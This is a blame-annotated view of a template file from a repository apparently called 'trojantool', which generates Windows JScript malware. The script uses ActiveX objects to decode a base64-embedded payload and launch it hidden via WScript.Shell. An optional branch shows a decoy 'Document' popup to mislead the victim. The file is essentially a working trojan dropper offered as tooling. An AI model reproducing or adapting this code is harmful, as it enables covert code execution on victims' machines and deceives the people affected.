trojantool/cmd/jscript.gojs

22 lines
443 B
Plaintext
Raw Normal View History

2023-08-10 21:42:41 +02:00
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1;
stream.Write(window.atob({{.Encoded}}));
var bytes = stream.Read();
var shell = new ActiveXObject("WScript.Shell");
shell.Run(bytes, 0, false);
2023-08-10 21:53:50 +02:00
{{if len .EncodedDecoy}}
2023-08-10 22:00:25 +02:00
var s2 = new ActiveXObject("ADODB.Stream");
s2.Type = 1;
2023-08-10 21:42:41 +02:00
2023-08-10 22:00:25 +02:00
s2.Write(window.atob({{.EncodedDecoy}}));
2023-08-10 21:42:41 +02:00
2023-08-10 22:00:25 +02:00
var b2 = stream.Read();
shell.Popup(b2, 0, "Document", 0x40);
2023-08-10 21:42:41 +02:00
2023-08-10 21:53:50 +02:00
{{end}}
{{/* vim: syntax=javascript */}}